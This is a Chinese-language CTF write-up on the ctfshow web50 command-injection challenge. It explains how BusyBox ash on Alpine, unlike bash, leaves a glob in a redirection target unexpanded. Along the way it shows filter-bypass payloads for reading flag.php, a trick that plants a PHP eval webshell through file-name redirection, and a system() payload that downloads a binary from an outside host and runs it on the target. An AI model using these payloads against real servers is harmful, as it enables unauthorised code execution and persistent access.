ctfshow web50的疑问 --web容器环境

发布于: 2024-10-13 19:41

前言

看群里有师傅学习到ctfshow命令执行web50这里提出疑问,为什么这里为啥c=tac<fla?.php|| 不行呀,想起来之前刷到这里我也有这个疑问

前面的铺垫可以学习到

tac fla?.php
tac f*
ta\c fla''g.php
tac<fla''g.php

通过这道题的前几道题的铺垫可以学习到<重定向符可以把文件的内容输出到tac命令中,?,.通配符可以绕过直接写文件名的限制,但是两个玩法结合在一起就失效了

ta\c<fla?.php

测试

本地ubuntu测试

在本地ubuntu测试发现,这条命令是可以正常执行的

0

查看,Ubuntu的默认shell环境是/bin/bash

感觉靶机的版本或者环境不同等引发的问题

查看一下靶机操作系统信息

1

确定靶机是alpine的操作系统,装个虚拟机测试一下

Alpine Linux虚拟机测试

在本地Alpine测试发现,果然重定向符<和通配符?结合在一起就失效了,找不到文件

0

查看,Alpine的默认shell环境是/bin/ash

03

靶机环境下调试

为了更接近靶机环境,尝试在靶机 getshell

经过尝试,发现可以通过重定向创建文件的方法,在绕过waf的情况下,创建一个文件名为webshell内容的文件,再ls重定向创建webshell

>'<?=eval(array_pop(next(get_defined_vars())))?>'%0a
ls>a.php%0a
访问 a.php,post传入任意参数

再通过 a.php 的无参 rce 写入一个webshell,AntSword 连上来,方便调试。

靶机系统信息收集

获取靶机系统信息,确认是Alpine Linux,默认shell是/bin/ash,并且sh其实是busybox的一个链接

(www-data:/var/www/html) $ readlink -f $(which sh)
/bin/busybox
(www-data:/var/www/html) $ cat /etc/os-release
NAME="Alpine Linux"
ID=alpine
VERSION_ID=3.10.3
PRETTY_NAME="Alpine Linux v3.10"
HOME_URL="https://alpinelinux.org/"
BUG_REPORT_URL="https://bugs.alpinelinux.org/"
(www-data:/var/www/html) $ uname -a
Linux 9be56d4b244e 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 Linux
(www-data:/var/www/html) 

静态编译 strace 调试

下载静态编译 strace,调试 cat<fla?.php 执行过程

1=system('ls -alh $(which sh);wget "https://hk.gh-proxy.org/https://github.com/XMCVE/static-tools/blob/main/strace/strace.x86_64.6.4";
chmod %26x ./strace.x86_64.6.4;./strace.x86_64.6.4 -ff -tt -T -yy -v -s 1024 -e trace=%25process,%25file,%25desc -o /tmp/mix sh -c "tac<fla?.php" 2>/tmp/strace.err;ls -l /tmp/mix*;cat /tmp/strace.err;cat /tmp/mix*');

写成一坨了,拆开来看

ls -alh $(which sh);
wget "https://hk.gh-proxy.org/https://github.com/XMCVE/static-tools/blob/main/strace/strace.x86_64.6.4";
chmod %26x ./strace.x86_64.6.4;
./strace.x86_64.6.4 -ff -tt -T -yy -v -s 1024 -e trace=%25process,%25file,%25desc -o /tmp/mix sh -c "tac<fla?.php" 2>/tmp/strace.err;
ls -l /tmp/mix*;
cat /tmp/strace.err;
cat /tmp/mix*; 

从报错里,拿到核心信息:

open("fla?.php", O_RDONLY) = -1 ENOENT (No such file or directory)
writev(2, [{iov_base="sh: ", iov_len=4}, {iov_base=NULL, iov_len=0}], 2) = 4
writev(2, [{iov_base="can't open fla?.php: no such file", iov_len=33}, {iov_base=NULL, iov_len=0}], 2) = 33
exit_group(1) = ?
+++ exited with 1 +++

可以看到,shell 在处理 tac<fla?.php 时,直接尝试打开的是字面文件名 fla?.php,而不是展开后的 flag.php。 这说明在 BusyBox ash 下,输入重定向目标位置的 fla?.php 并不会像普通参数那样进行通配符展开,因此最终报错 No such file or directory。

open("fla?.php", O_RDONLY) = -1 ENOENT (No such file or directory)

写在最后

关键的问题,就是问题的关键(x)

不是 < 和 ? 本身有问题,而是 不同 shell(bash vs BusyBox ash)在处理“重定向目标”时,对通配符是否展开的行为不同。BusyBox ash 在重定向位置的行为更“保守 / 更接近 POSIX 最小要求”,而 bash 做了更“宽松 / 更方便用户”的扩展。

即,同一个字符串,在“参数位置”和“重定向位置”,shell 的处理规则是不同的;而不同 shell 对“重定向位置是否做 glob 展开”的实现也不同。

参考: